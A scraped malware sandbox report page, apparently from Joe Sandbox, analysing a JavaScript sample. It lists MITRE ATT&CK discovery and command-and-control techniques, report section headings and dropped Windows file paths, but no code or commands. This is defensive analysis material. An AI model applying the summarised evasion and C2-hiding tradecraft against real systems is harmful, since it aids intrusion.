Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2387315401298627745.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6c90b694-4561-43ab-8d36-af95271d2328.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\98a52197-9cb4-4b1c-9acc-0236c6446066.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4ea51e.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Windows Analysis Report
2387315401298627745.js